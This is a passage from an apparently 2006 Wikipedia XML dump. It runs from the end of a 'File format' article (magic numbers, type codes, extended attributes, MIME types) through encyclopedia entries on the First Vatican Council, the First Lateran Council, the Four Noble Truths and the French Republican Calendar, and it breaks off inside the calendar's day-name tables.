This approach offers better guarantees that the format will be identified correctly, and can often determine more precise information about the file. This is only useful, however, if the interface used to access the files allows the user to easily manipulate any file in a variety of ways&amp;mdash;as opposed to [[double click]]ing automatically doing the &quot;right&quot; thing; it is therefore more often associated with [[command line interface]]s than graphical ones. Since reliable &quot;magic number&quot; tests can be fairly complex, and each file must be tested against every possibility in the &quot;magic file&quot;, this approach is also relatively inefficient, especially for displaying large lists of files (in contrast, filename and metadata based methods need check only one piece of data, and match it against a sorted index). And, as with the example of HTML, some filetypes just don't lend themselves to recognition in this way. It is, however, the best way for a program to check if a file it has been told to process is of the correct format: while the file's name or metadata may be altered indepently of its content, failing a well-designed magic number test is a pretty sure sign that the file is either corrupt or of the wrong type.

So-called [[shebang]] lines in [[script (computer programming)|script files]] are a special case of magic numbers. Here, the magic number is human-readable text that identifies a specific [[interpreter (computer software)|command interpreter]] and options to be passed to the command interpreter.

===Explicit metadata===
A final way of storing the format of a file is to explicitly store information about the format in the file system.

This approach keeps the metadata separate from both the main data and the name, but is also less [[portable]] than either file extensions or &quot;magic numbers&quot;, since the format has to be converted from filesystem to filesystem. While this is also true to an extent with filename extensions &amp;mdash; for instance, for compatibility with MS-DOS's three character limit &amp;mdash; most forms of storage have a roughly equivalent definition of a file's data and name, but may have varying or no representation of further metadata.

Note that zip files or [[File archiver|archive files]] solve the problem of handling metadata. A utiliy program collects multiple files together along with metadata about each file and the folders/directories they came from all within one new file (e.g. a zip file with extension .zip). The new file is also compressed and possibly encrypted, but now is transmissible as a single ascii/text file across operating systems by ftp systems or attached to email. At the destination, it must be unzipped by a compatible utility to be useful, but the problems of transmission are solved this way.

====Apple Macintosh type-codes====
The [[Apple Macintosh|Macintosh]]'s [[Hierarchical File System]] stores codes for ''[[Creator code|creator]]'' and ''[[Type code|type]]'' as part of the directory entry for each file. These codes are referred to as [[OSType]]s, and for instance an application written by [[Apple Computer|Apple]] would have a ''creator'' of &lt;tt&gt;AAPL&lt;/tt&gt; and a ''type'' of &lt;tt&gt;APPL&lt;/tt&gt;. [[RISC OS]] uses a similar system, consisting of a 12-[[bit]] number which can be looked up in a table of descriptions &amp;mdash; e.g. the hexadecimal number FF5 is &quot;aliased&quot; to &lt;tt&gt;PoScript&lt;/tt&gt;, representing a [[PostScript]] file.

====OS/2 and Windows NT extended attributes====
The [[HPFS]], [[NTFS]], [[File Allocation Table|FAT12 and FAT16]] (but not FAT32) filesystems allow the storage of extended attributes with files.  These comprise an arbitrary set of triplets with a name, a coded type for the value and a value, where the names are unique and values can be up to 64 KB long.  There are standardized meanings for certain types and names.  One such is that the &quot;.TYPE&quot; extended attribute is used to determine the file type.  Its value comprises a list of one or more file types associated with the file, each of which is a string, such as &quot;Plain Text&quot; or &quot;HTML document&quot;.  Thus a file may have several types.

====POSIX extended attributes====
On [[Unix]] and [[Unix-like]] systems, the [[ext2]], [[ext3]], [[ReiserFS]] version 3, [[XFS]], [[JFS]], and [[Berkeley Fast File System|FFS]] filesystems allow the storage of extended attributes with files.  These include an arbitrary list of &quot;name=value&quot; strings, where the names are unique, which can be accessed by their &quot;name&quot; parts.

====MIME types====
[[MIME]] types are widely used in many [[Internet]]-related applications, and increasingly elsewhere, although their usage for on-disc type information is rare.  These consist of a standardised system of identifiers consisting of a ''type'' and a ''sub-type'', separated by a [[slash (punctuation)|slash]] &amp;mdash; for instance, &lt;tt&gt;text/html&lt;/tt&gt; or &lt;tt&gt;image/gif&lt;/tt&gt;. These were originally intended as a way of identifying what type of file was attached to an [[e-mail]], independent of the source and target operating systems. MIME types are used to identify files on [[BeOS]], as well as store unique application signatures for application launching.

== See also ==
* [[Audio file format]]
* [[Document file format]]
* [[Chemical file format]]
* File formats suited to [[Future proofing]] electronic files
* [[Filename extension]]
*[[Free file format]]
* [[Graphics file format]]
*[[Image file formats]]
* [[List of file formats]]
* [[Object file format]]
* [[Video file format]]
* [[Object format]]
* [[Open format]]
* [[Magic number (programming)]]

== References ==
* {{cite web
 | accessdate = February 9
 | accessyear = 2005
 | url = http://markcrocker.com/rexxtipsntricks/rxtt28.2.0301.html
 | title = Extended Attribute Data Types
 | work = REXX Tips &amp; Tricks, Version 2.80
 }}
* {{cite web
 | accessdate = February 9
 | accessyear = 2005
 | url = http://markcrocker.com/rexxtipsntricks/rxtt28.2.0300.html
 | title = Extended Attributes used by the WPS
 | work = REXX Tips &amp; Tricks, Version 2.80
 }}
* {{cite web
 | accessdate = February 9
 | accessyear = 2005
 | url = http://www.howzatt.demon.co.uk/articles/06may93.html
 | title = Extended Attributes - what are they and how can you use them ?
 | work = Roger Orr
 }}

== External links ==
* [http://www.wwwcentral.net/ The File Extension Archives - Large archive of file extensions]
* [http://extensions.pndesign.cz/ File extensions database - Large database of file extensions and file types]
* [http://www.fileinfo.net/ FileInfo.net - The File Extensions Resource]
* [http://www.sharpened.net/helpcenter/extensions.php File Extensions and File Formats Listed Alphabetically]
* [http://www.wotsit.org/ The Programmer's File Format Collection]
* [http://www.freesoftwaremagazine.com/free_issues/issue_01/focus_format_history/ Format wars] Article on Free Software Magazine about the history of file formats

[[Category:Computer file formats]]

[[ca:Format de fitxer]]
[[cs:Formát souboru]]
[[de:Dateiformat]]
[[fr:Format de données]]
[[it:Formato di file]]
[[hu:Fájlformátum]]
[[nl:Bestandsformaat]]
[[ja:ファイルフォーマット]]
[[pl:Format]]
[[ru:Формат файла]]
[[fi:Tiedostomuodot]]
[[zh:文件格式]]</text>
    </revision>
  </page>
  <page>
    <title>First Vatican Council</title>
    <id>11390</id>
    <revision>
      <id>41430950</id>
      <timestamp>2006-02-27T07:02:27Z</timestamp>
      <contributor>
        <username>Thorsen</username>
        <id>717889</id>
      </contributor>
      <text xml:space="preserve">{| class=toccolours align=right width=300 style=&quot;margin:0 0 1em 1em&quot;
|-
| colspan=&quot;2&quot; bgcolor=&quot;lightgreen&quot; style=&quot;font-size:120%&quot; align=&quot;center&quot;|'''''Concilio ecumenico Vaticano I'''''
|-
|'''Date'''
|[[1869]]-[[1870]]&lt;br&gt;(formally closed in [[1960]] prior to [[Second Vatican Council|Vatican II]])
|-
|'''Accepted by'''
|[[Catholicism]], with exception of [[Old Catholic Church]]
|-
|'''Previous Council'''||[[Council of Trent]]
|-
|'''Next Council'''
|[[Second Vatican Council]]
|-
|'''Convoked by'''||[[Pope Pius IX]]
|-
|'''Presided by'''||[[Pope Pius IX]]
|-
|'''Attendance'''||744
|-
|'''Topics of discussion'''||[[rationalism]], [[liberalism]], [[materialism]]; [[inspiration of Scripture]]; [[papal infallibility]]
|-
|'''Documents and statements'''|| ''Dei Filius'', ''Pastor Aeternus''
|-
|colspan=&quot;2&quot; align=&quot;center&quot;|[[Ecumenical council|chronological list of Ecumenical councils]]
|}
The '''First Vatican Council''' was summoned by [[Pope Pius IX]] by the bull ''[[Aeterni Patris]]'' of [[June 29]], [[1868]]. The first session was held in [[Saint Peter's Basilica]] on [[December 8]], [[1869]]. It was the 20th [[ecumenical council]] of the [[Roman Catholic]] church. Nearly 800 church leaders attended.

The [[pope]]'s primary purpose was to obtain confirmation of the position he had taken in his ''[[Syllabus of Errors]]'' ([[1864]]), condemning a wide range of positions associated with [[rationalism]], [[liberalism]], and [[materialism]].

The purpose of the council was, besides the condemnation, to define the doctrine concerning the church. In the three sessions, there was discussion and approval of only two constitutions: ''Dei Filius'', the ''Dogmatic Constitution On The Catholic Faith'' (which defined, among other things, the sense in which Catholics believe the [[Bible]] is inspired by God) and ''Pastor Aeternus'', the ''First Dogmatic Constitution on the Church of Christ'', dealing with the primacy and [[papal infallibility|infallibility]] of the bishop of Rome when solemnly defining dogma.

The definition of papal infallibility was not on the original agenda of topics to be discussed (Pius IX felt it would be improper for him to introduce the topic), but was added soon after the council convened.  It was controversial, not because many did not believe the pope to be infallible when defining dogma, but because many who did so believe did not think it prudent to define the doctrine formally.  [[John Henry Newman]], for instance, thought such a formal definition might push away potential converts.  Some feared it might lead to renewed suspicion of Catholics as having a foreign allegiance.  Such a view was taken by two-thirds of the bishops from the United States and many from France and Germany.

About 60 members of the council effectively abstained by leaving [[Rome]] the day before the vote.  [[Archbishop]] (later [[Canonization|canonized]]) [[Antonio Maria Claret]], confessor to the Spanish royal court and founder of the Missionary Sons of the Immaculate Heart of Mary (Claretian Missionaries), strongly condemned the &quot;blasphemies and heresies uttered on the floor of this Council,&quot; and was one of the strong defenders on the issue of papal infallibility. He was the only member of the council to be canonized as saint (beatified in 1934 and canonized by [[Pope Pius XII]] in 1950). He later died in a Cistercian monastery in Fontroide, France, in October 24, 1870. The discussion and approval of the constitution gave rise to serious controversies which led to the withdrawal from the church of those known as [[Old Catholic Church|Old Catholics]]. 

The outbreak of the [[Franco-Prussian War]] interrupted the council. It was suspended following the [[Italian unification|capture of Rome]] and never resumed. It was not officially closed until decades later, when it was formally brought to an end as part of the preparations for the [[Second Vatican Council]]. The results of the council marked the triumph of the [[Ultramontanism]] movement.''' 
==See also==

*[[Ecumenical council]]
*[[Second Vatican Council]]

==External links==
*[http://www.dailycatholic.org/history/20ecume1.htm Decrees of the Council]
*[http://www.newadvent.org/cathen/15303a.htm Catholic Encyclopedia article]
*[http://www.claret.org/en/claret/biografia.php]
*[http://www.newadvent.org/library/docs_le13ae.htm Æterni Patris &quot;On the Restoration of Christian Philosophy&quot;]
*[http://www.newadvent.org/cathen/01177a.htm Article from Catholic Encyclopedia on Æterni Patris]

== Further reading ==

* ''The Catholic Church in the Modern World'' by [[E.E.Y. Hales]] (Doubleday, 1958)

[[Category:1870]]
[[Category:Roman Catholic Church Councils|Vatican 1]]

[[cs:1. vatikánský koncil]]
[[de:Erstes Vatikanisches Konzil]]
[[es:Concilio Vaticano I]]
[[fr:Ier concile œcuménique du Vatican]]
[[it:Concilio Vaticano I]]
[[la:Concilium Vaticanum Primum]]
[[nl:Eerste Vaticaans Concilie]]
[[ja:第1ヴァティカン公会議]]
[[no:Første Vatikankonsil]]
[[pl:Sobór Watykański I]]
[[pt:Primeiro Concílio do Vaticano]]
[[sk:Prvý vatikánsky koncil]]
[[sv:Första Vatikankonciliet]]</text>
    </revision>
  </page>
  <page>
    <title>First Council of the Lateran</title>
    <id>11391</id>
    <revision>
      <id>39490339</id>
      <timestamp>2006-02-13T21:56:52Z</timestamp>
      <contributor>
        <username>Csernica</username>
        <id>10643</id>
      </contributor>
      <minor />
      <comment>be explicit about who's doing the reckoning here.</comment>
      <text xml:space="preserve">{{catholic}}

{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; align=&quot;right&quot; width=&quot;400&quot;
! colspan=&quot;2&quot; bgcolor=&quot;lightgreen&quot; style=&quot;font-size:120%&quot; |''First Council of the Lateran''
|-
|Date ||[[1123]]
|-
|Accepted by ||[[Catholicism]]
|-
|Previous Council||[[Fourth Council of Constantinople]]
|-
|Next Council ||[[Second Council of the Lateran]]
|-
|Convoked by||[[Pope Calixtus II]]
|-
|Presided by||[[Pope Calixtus II]]
|-
|Attendance||300-1000
|-
|Topics of discussion||[[Investiture Controversy]]
|-
|Documents and statements||twenty-two canons, pope's right to invest bishops, condemnation of [[simony]], &quot;Truce of God&quot; (war allowed only Monday-Wednesday, and only in the summer and fall)
|-
|colspan=&quot;2&quot; align=&quot;center&quot;|[[Ecumenical council|chronological list of Ecumenical councils]]
|}

The Council of [[1123]] is reckoned in the series of [[Ecumenical council]]s by the [[Roman Catholic Church]]. It had been convoked in December, 1122, immediately after the [[Concordat of Worms]], which agreement between pope and emperor had caused general satisfaction in the Church. It put a stop to the arbitrary conferring of ecclesiastical benefices by laymen, reestablished freedom of episcopal and abbatial elections, separated spiritual from temporal affairs, and ratified the principle that spiritual authority can emanate only from the Church; lastly it tacitly abolished the exorbitant claim of the emperors to interfere in papal elections. So deep was the emotion caused by this concordat, the first ever signed, that in many documents of the time, the year [[1122]] is mentioned as the beginning of a new era. For its more solemn confirmation and in conformity with the earnest desire of the [[Archbishop of Mainz]], [[Pope Callistus II]] convoked a council to which all the archbishops and bishops of the West were invited. Three hundred bishops and more than six hundred abbots assembled at Rome in March, 1123; Callistus II presided in person. Both originals (instrumenta) of the Concordat of Worms were read and ratified, and twenty-two disciplinary [[Canon law|canons]] were promulgated, most of them reinforcements of previous conciliary decrees.

Canons 3 and 11 forbid priests, deacons, subdeacons, and monks to marry or to have [[concubines]]; it is also forbidden them to keep in their houses any women other than those sanctioned by the ancient canons. Marriages of clerics are null pleno jure, and those who have contracted them are subject to [[penance]].

Canon 6: Nullity of the ordinations performed by the heresiarch Burdinus ([[Antipope Gregory VIII]]) after his condemnation.

Canon 11: Safeguard for the families and possessions of [[crusaders]].

Canon 14: Excommunication of laymen appropriating offerings made to the Church, and those who fortify churches as strongholds.

Canon 16: Against those who molest [[pilgrims]] on their way to Rome.

Canon 17: Abbots and religious are prohibited from admitting sinners to penance, visiting the sick, administering extreme [[unction]], singing solemn and public [[Masses]]; they are obliged to obtain the holy [[chrism]] and holy oils from their respective bishops.

==Reference==
*[http://www.fordham.edu/halsall/basis/lateran1.html Medieval Sourcebook: First Lateran Council]: Canons with annotations

[[Category:1123]]
[[Category:Roman Catholic Church Councils|Lateran 1]]
[[Category:Investiture Controversy]]

[[cs:1. lateránský koncil]]
[[de:Erstes Laterankonzil]]
[[fr:Ier concile du Latran]]
[[no:Første Laterankonsil]]</text>
    </revision>
  </page>
  <page>
    <title>Four Noble Truths</title>
    <id>11393</id>
    <revision>
      <id>41632472</id>
      <timestamp>2006-02-28T17:42:34Z</timestamp>
      <contributor>
        <username>Sopholatre</username>
        <id>897475</id>
      </contributor>
      <minor />
      <comment>removed vandalism</comment>
      <text xml:space="preserve">{{buddhism}}

The '''Four Noble Truths''' ([[Pāli|Pali]], &quot;cattari ariya saccani&quot;) are taught in [[Buddhism]] as the fundamental insight or [[Bodhi|enlightenment]] of [[Sakyamuni]] [[Buddha]] (the historical Buddha), which led to the formulation of the Buddhist [[philosophy]].

# '''''[[Dukkha]]''''': There is suffering in life for all beings. &lt;br&gt;
# '''''Samudaya''''': There is a cause of suffering, which is attachment and desire (''[[tanha]]'').&lt;br&gt;
# '''''Nirodha''''': There is a way out of suffering, which is to eliminate attachment and desire.&lt;br&gt;
# '''''Magga''''': There is a path that leads out of suffering, called the [[Noble Eightfold Path]]. 

This outline form is exactly that used by doctors of the [[Buddha]]'s culture when diagnosing and prescribing for a disease: identify the disease, its [[etiology|cause]], whether it is curable, and the prescribed cure. Thus the Buddha treats suffering as a &quot;disease&quot; we can confidently expect to cure. 

Because of its focus on suffering, Buddhism is often called pessimistic. But since [[Gautama Buddha]] presented a [[cure]], Buddhists consider it neither pessimistic nor optimistic but realistic.

The Four Noble Truths was the topic of the first sermon given by the Buddha after his enlightenment. He gave the sermon to the ascetics with whom he had practiced austerities.

==See also==
* [[List of Buddhist topics]]

==External links==
* At ''[http://www.accesstoinsight.org Access to Insight]:''
** ''[http://www.accesstoinsight.org/lib/study/truths.html The Four Noble Truths: A Study Guide]'' (by Thanissaro Bhikkhu)
** ''Wings to Awakening [http://www.accesstoinsight.org/lib/modern/wings/3h1.html Section 3.H.i: The Four Noble Truths]'' (translated by Thanissaro Bhikkhu)
* Talks given by Ajahn Sumedho:
** At [http://www.amaravati.org/ Amaravati Monastery]'s web: ''[http://www.amaravati.org/abm/english/documents/4noble2/index.html The Four Noble Truths]''
** PDF version at ''[http://www.buddhanet.net/ Buddhanet.net]'': ''[http://www.buddhanet.net/filelib/pdf/4nobltru.zip The Four Noble Truths eBook]''
*[http://www.acmuller.net/ddb Digital Dictionary of Buddhism] (log in as &quot;guest&quot;)
*[http://buddhism.kalachakranet.org/4_noble_truths.html A View on the Four Noble Truths]
*[http://myweb.cableone.net/subru/Buddhism.html ''The Light of Asia (Book Eight)''], a poem in [[iambic pentameter]] by [[Sir Edwin Arnold]].
*[http://www.metta.lk/tipitaka/2Sutta-Pitaka/3Samyutta-Nikaya/Samyutta5/55-Sacca-Samyutta/02-Dhammacakkappavattanavaggo-p.htm 4 noble truths in pali]
*[http://www.meditateinlondon.org.uk/buddhism-the-four-noble-truths.php Buddhism - the Four Noble Truths]
*[http://www.bswa.org Hundreds of free buddhist talks and huge forum.]
*[http://www.buddhanet.net/4noble.htm The Four Noble Truths], a BuddhaNet production by Ajahn Sumedho.
* ''[http://www.heartlandsangha.org/feeling.html The Feeling Buddha]:'' An alternate interpretation of the Four Noble Truths.
*[http://www.dharmaweb.org DharmaWeb.org]

[[Category: Buddhist terms]]

[[cs:Čtyři vznešené pravdy]]
[[da:De fire hellige sandheder]]
[[de:Vier Edle Wahrheiten]]
[[es:Cuatro Nobles Verdades]]
[[fr:Quatre nobles vérités]]
[[ko:사제설]]
[[is:Göfugu sannindin fjögur]]
[[nl:Vier nobele waarheden]]
[[ja:四諦]]
[[pl:Cztery szlachetne prawdy]]
[[pt:Quatro Nobres Verdades]]
[[ru:Четыре Благородные Истины]]
[[sk:Štyri vznešené pravdy]]
[[sv:De fyra ädla sanningarna]]
[[th:อริยสัจ 4]]
[[vi:Tứ diệu đế]]
[[zh:四谛]]</text>
    </revision>
  </page>
  <page>
    <title>Films</title>
    <id>11394</id>
    <revision>
      <id>35396005</id>
      <timestamp>2006-01-16T12:58:21Z</timestamp>
      <contributor>
        <username>Jdcooper</username>
        <id>202051</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Film]]</text>
    </revision>
  </page>
  <page>
    <title>French Republican Calendar</title>
    <id>11396</id>
    <revision>
      <id>41792843</id>
      <timestamp>2006-03-01T20:07:58Z</timestamp>
      <contributor>
        <username>Nae'blis</username>
        <id>388895</id>
      </contributor>
      <minor />
      <comment>/* Winter */ dab Narcisse</comment>
      <text xml:space="preserve">{{French_Revolution}}
The '''French Republican Calendar''' or '''French Revolutionary Calendar''' is a [[calendar]] proposed during the [[French Revolution]], and used by the French government for about twelve years from late [[1793]]. 

It was designed by the politician and [[agronomist]] [[Charles Gilbert Romme]], although it is usually attributed to [[Philippe François Nazaire Fabre d'Églantine | Fabre d'Églantine]], who invented the names of the months.  The calendar was adopted by the [[Jacobin]]-controlled [[National Convention]] on [[24 October]] [[1793]].

[[Image:Calendrier-republicain-debucourt2.jpg|thumb|left|French Republican Calendar of 1794, drawn by [[Louis-Philibert Debucourt]].]]
Years appear in writing as [[Roman numerals]] (usually), counted from the beginning of the 'Republican Era', [[22 September]] [[1792]] (the day the [[French First Republic]] was proclaimed, one day after the Convention abolished the monarchy). As a result, Roman Numeral I indicates the first year of the republic, that is, the year before the calendar actually came into use.  The first day of each year included the [[autumnal equinox]].  There were twelve [[month]]s, each divided into three ten-day weeks called ''décades''.  The five or six extra days needed to approximate the [[tropical year]] were placed after the months at the end of each year. Each [[day]] was divided into ten [[hour]]s, each hour into 100 decimal [[minute]]s and each decimal minute had 100 decimal [[second]]s.  [[Clock]]s were manufactured to display [[decimal time]], but it did not catch on and was officially abandoned in [[1795]], although some cities continued to use decimal time as late as [[1801]].

A period of four years ending on a leap day was to be called a &quot;Franciade&quot;.

[[Sunday]] or the [[Sabbath]] was reintroduced by the [[Concordat of 1801]], effective [[Easter]] Sunday, [[18 April]] [[1802]].

Napoléon finally abolished the calendar effective [[1 January]] [[1806]] (the day after 10 nivôse an XIV), a little over twelve years after its introduction. However, it was used again during the brief [[Paris Commune]] in [[1871]] (year LXXIX).

Many conversion tables and programs exist, largely created by genealogists. Some enthusiasts in France still use the calendar, more out of historical re-enactment than practicality.

Some legal texts that were adopted when the Republican Calendar was official are still in force in France and have kept their original dates for citation purposes.

== Criticism and shortcomings of the calendar ==
[[Image:Horloge-republicaine1.jpg|thumb|Clock dial]]
[[Image:Horloge-republicaine2.jpg|thumb|Clock dial]]
Leap years in the calendar are a point of great dispute, due to the contradicting statements requiring the year to start at the ''autumnal equinox'' while adding a ''leap day every 4 years'' (like the [[Gregorian calendar]]). The years III, VII, and XI were observed as leap years, and the years XV and XX were also planned as such.

A fixed arithmetic rule for determining leap years was proposed in the name of the Committee of Public Education by Gilbert Romme on 19&amp;nbsp;Floréal&amp;nbsp;An&amp;nbsp;III ([[8 May]] [[1795]]). The proposed rule was to determine leap years by applying the rules of the Gregorian calendar to the years of the French Republic (years IV, VIII, XII, etc. were to be leap years) except that year 4000 (the last year of ten 400-year periods) should be a common year instead of a leap year. Because this proposal was never adopted, the original astronomical rule continued, which excluded any other fixed arithmetic rule. The proposal was intended to avoid uncertain future leap years caused by the inaccurate astronomical knowledge of the [[1790s]] (even today, this statement is still valid due to the uncertainty in [[Delta T|&amp;Delta;T]]). In particular, the committee noted that the true equinox of year 144 was predicted to occur at &quot;11:59:40 {{PM}}&quot;, which was closer to midnight than its inherent 3 to 4 minute uncertainty.

The calendar was abolished because having a ten-day work week gave workers less rest (one day off every ten instead of one day off every seven); because the equinox was a mobile date to start every new year (a fantastic source of confusion for almost everybody); and because it was incompatible with the secular rhythms of [[trade]] fairs and agricultural markets.

Perhaps the most famous date in this calendar was immortalised by [[Karl Marx]] in the title of his pamphlet, ''[[The 18th Brumaire of Louis Napoléon]]'' ([[1852]]). The [[18 Brumaire]] ([[9 November]] [[1799]]) is considered the end of French Revolution. Another famous revolutionary date is [[9 Thermidor]], the date the Convention turned against [[Robespierre]], who, along with others associated with [[the Mountain]], was [[guillotine]]d the following day. (''See [[Glossary_of_the_French_Revolution#Events_commonly_known_by_their_Revolutionary_dates|Glossary of the French Revolution]] for other significant dates under this calendar.'')

[[Emile Zola]]'s novel ''[[Germinal]]'' takes its name from the calendar, as does the dish, [[Lobster thermidor]].

==The months==
The Republican calendar year began at the [[autumn equinox]] and had twelve months of 30 days each, which were given new names based on nature:

*Autumn:
**[[Vendémiaire]] (from Latin ''vindemia'', &quot;vintage&quot;) Starting [[September 22|Sept 22]], 23 or 24
**[[Brumaire]] (from French ''brume'', &quot;mist&quot;) Starting [[October 22|Oct 22]], 23 or 24
**[[Frimaire]] (From French ''frimas'', &quot;frost&quot;) Starting [[November 21|Nov 21]], 22 or 23
*Winter:
**[[Nivôse]] (from Latin ''Nivosus'', &quot;snowy&quot;) Starting [[December 21|Dec 21]], 22 or 23
**[[Pluviôse]] (from Latin ''pluviosus'', &quot;rainy&quot;) Starting [[January 20|Jan 20]], 21 or 22 
**[[Ventôse]] (from Latin ''ventosus'', &quot;windy&quot;) Starting [[February 19|Feb 19]], 20 or 21
*Spring:
**[[Germinal (French Republican Calendar)|Germinal]] (from Latin ''germen'', &quot;seed&quot;) Starting [[March 20|Mar 20]] or 21
**[[Floréal]] (from Latin ''flos'', &quot;flower&quot;) Starting [[April 20|Apr 20]] or 21
**[[Prairial]] (from French ''prairie'', &quot;meadow&quot;) Starting [[May 20]] or 21
*Summer:
**[[Messidor]] (from Latin ''messis'', &quot;harvest&quot;) Starting [[June 19|Jun 19]] or 20
**[[Thermidor]] (from Greek ''thermos'', &quot;hot&quot;) Starting [[July 19|Jul 19]] or 20
**[[Fructidor]] (from Latin ''fructus'', &quot;fruits&quot;) Starting [[August 18|Aug 18]] or 19

Note that the English names are approximate, as most of the month names were new words coined from similar [[French language|French]], [[Latin]] or [[Greek language|Greek]] words. The endings of the names are grouped by season.

In England, people against the Revolution mocked the calendar by calling the months: Wheezy, Sneezy and Freezy; Slippy, Drippy and Nippy; Showery, Flowery and Bowery; Wheaty, Heaty and Sweety.

==The ten days of the week==
The month is divided into three ''decades'' or 'weeks' of ten days each, named simply: 
*''primidi'' (first day)
*''duodi'' (second day)
*''tridi'' (third day)
*''quartidi'' (fourth day)
*''quintidi'' (fifth day)
*''sextidi'' (sixth day)
*''septidi'' (seventh day)
*''octidi'' (eighth day)
*''nonidi'' (ninth day)
*''décadi'' (tenth day)

==The days of the year==
Instead of most days having a [[saint]] as in the Catholic Church's calendar, each day has an animal (days ending in 5), a tool (days ending in 0) or a plant (all other days) associated with it.

=== Autumn ===
{| class=&quot;wikitable&quot;
|- style=&quot;background:#ccf;&quot;
! [[Vendémiaire]] ([[September 22|Sep 22]] ~ [[October 21|Oct 21]])
! [[Brumaire]] ([[October 22|Oct 22]] ~ [[November 20|Nov 20]])
! [[Frimaire]] ([[November 21|Nov 21]] ~ [[December 20|Dec 20]])
|-
|
# [[Grape|Raisin]] (Grape)
# [[saffron|Safran]] (Saffron)
# [[chestnut|Châtaigne]] (Chestnut)
# [[crocus|Colchique]] (Crocus)
# [[horse|Cheval]] (Horse)
# [[Balsamine]] (Balsamine)
# [[Carrot|Carotte]] (Carrot)
# [[Amaranth|Amarante]] (Amaranth)
# [[Parsnip|Panais]] (Parsnip)
# [[Barrel|Cuve]] (Barrel)
# [[potato|Pomme de terre]] (Potato)
# [[Everlasting flower|Immortelle]] (Everlasting flower)
# [[Pumpkin|Potiron]] (Pumpkin)
# [[mignonette|Réséda]] (Mignonette)
# [[donkey|Âne]] (Donkey)
# [[Mirabilis (plant)|Belle de nuit]] (Beautiful of Night, a flower)
# [[pumpkin|Citrouille]] (Pumpkin)
# [[buckwheat|Sarrasin]] (Buckwheat)
# [[sunflower|Tournesol]] (Sunflower)
# [[wine-press|Pressoir]] (Wine-Press)
# [[hemp|Chanvre]] (Hemp)
# [[peach|Pêche]] (Peach)
# [[turnip|Navet]] (Turnip)
# [[Amaryllis]] (Amaryllis)
# [[cow|Boeuf]] (Cow)
# [[Aubergine]] (Eggplant)
# [[chili pepper|Piment]] (Chile Pepper)
# [[tomato|Tomate]] (Tomato)
# [[barley|Orge]] (Barley)
# [[aging barrel|Tonneau]] (Barrel)

|
# [[apple|Pomme]] (Apple)
# [[celery|Céleri]] (Celery)
# [[pear|Poire]] (Pear)
# [[beet|Betterave]] (Beet root)
# [[goose|Oie]] (Goose)
# [[Heliotropium|Héliotrope]] (Heliotrope)
# [[Fig]]ue (Fig)
# [[black salsify|Scorsonère]] (Black Salsify)
# [[Wild Service Tree|Alisier]] (Chequer Tree)
# [[plough|Charrue]] (Plough)
# [[salsify|Salsifis]] (Salsify)
# Macre (?)
# [[Jerusalem artichoke|Topinambour]] (Jerusalem Artichoke)
# [[Endive]] (Endive)
# [[turkey (bird)|Dindon]] (Turkey)
# [[Skirret|Chervis]] (Skirret)
# [[watercress|Cresson]] (Watercress)
# [[plumbaginaceae|Dentelaire]] (Leadworts) 
# [[pomegranate|Grenade]] (Pomegranate)
# [[harrow (tool)|Herse]] (Harrow)
# [[Maenad|Bacchante]] (Priestess of the Greek god [[Bacchus]])
# [[Acerola|Azerole]] (Acerola)
# [[Madder|Garance]] (Madder)
# [[Orange (fruit)|Orange]] (Orange)
# [[pheasant|Faisan]] (Pheasant)
# [[pistachio|Pistache]] (Pistachio)
# [[Lathyrus tuberosus|Macjonc]] (Tuberous pea)
# [[quince|Coing]] (Quince)
# [[Service Tree|Cormier]] (Service tree)
# [[roller (agricultural tool)|Rouleau]] (Roller)

|
# [[Mignonette|Raiponce]] (Mignonette)
# [[Turnip|Turneps]] (Turnip) 
# [[chicory|Chicorée]] (Chicory)
# [[medlar|Nèfle]] (Medlar)
# [[pig|Cochon]] (Pig)
# [[corn salad|Mâche]] (Corn Salad)
# [[cauliflower|Chou-fleur]] (Cauliflower)
# [[honey|Miel]] (Honey)
# [[juniper|Genièvre]] (Juniper)
# [[pick|Pioche]] (Pick)
# [[wax|Cire]] (Wax)
# [[horseradish|Raifort]] (Horseradish)
# [[cedar|Cèdre]] (Cedar tree)
# [[fir|Sapin]] (Fir tree)
# [[roe deer|Chevreuil]] (Roe Deer)
# [[gorse|Ajonc]] (Gorse)
# [[Cupressus sempervirens|Cyprès]] (Cypress Tree)
# [[ivy|Lierre]] (Ivy)
# [[Juniper|Sabine]] (Juniper)
# [[grub-hoe|Hoyau]] (Grub-hoe)
# [[maple|Erable sucré]] (Maple Tree)
# [[heather|Bruyère]] (Heather)
# [[reed (plant)|Roseau]] (Reed plant)
# [[sorrel|Oseille]] (Sorrel)
# [[cricket (insect)|Grillon]] (Cricket)
# [[pinion|Pignon]]  (pinion tool)
# [[cork|Liège]] (cork)
# [[truffle|Truffe]] (Truffle)
# [[Olive]] (Olive)
# [[shovel|Pelle]] (shovel)
|}

===Winter===
{| class=&quot;wikitable&quot;
|- style=&quot;background:#ccf;&quot;
! [[Nivôse]] ([[December 21|Dec 21]] ~ [[January 19|Jan 19]])
! [[Pluviôse]] ([[January 20|Jan 20]] ~ [[February 18|Feb 18]])
! [[Ventôse]] ([[February 19|Feb 19]] ~ [[March 20|Mar 20]])
|-
|
# [[peat|Tourbe]] (Peat)
# [[coal|Houille]] (Coal)
# [[bitumen|Bitume]] (Bitumen)
# [[sulphur|Soufre]] (Sulphur)
# [[dog|Chien]] (Dog)
# [[basin|Lave]] (Wash basin)
# [[topsoil|Terre végétale]] (Topsoil)
# [[manure|Fumier]] (Manure)
# [[saltpeter|Salpêtre]] (Saltpeter)
# [[Flail (agriculture)|Fléau]] (Flail)
# [[granite|Granit]] (Granite stone)
# [[clay|Argile]] (Clay)
# [[slate|Ardoise]] (Slate)
# [[sandstone|Grès]] (Sandstone)
# [[rabbit|Lapin]] (Rabbit)
# [[flint|Silex]] (Flint)
# [[marl|Marne]] (Marl)
# [[limestone|Pierre à chaux]] (Limestone)
# [[marble|Marbre]] (Marble)
# [[horse carriage|Van]] (Horse Carriage)
# [[plaster of paris|Pierre à plâtre]] (Plaster Of Paris)
# [[salt|Sel]] (Salt)
# [[iron|Fer]] (Iron)
# [[copper|Cuivre]] (Copper)
# [[cat|Chat]] (Cat)
# [[tin|Étain]] (Tin)
# [[lead|Plomb]] (Lead)
# [[Zinc]] (Zinc)
# [[Mercury (element)|Mercure]] (Mercury metal)
# [[Sieve|Crible]]  (Sieve)

|
# [[laurel|Lauréole]] (Laurel)
# [[moss|Mousse]] (Moss)
# [[Ruscaceae|Fragon]] (Butcher's Broom)
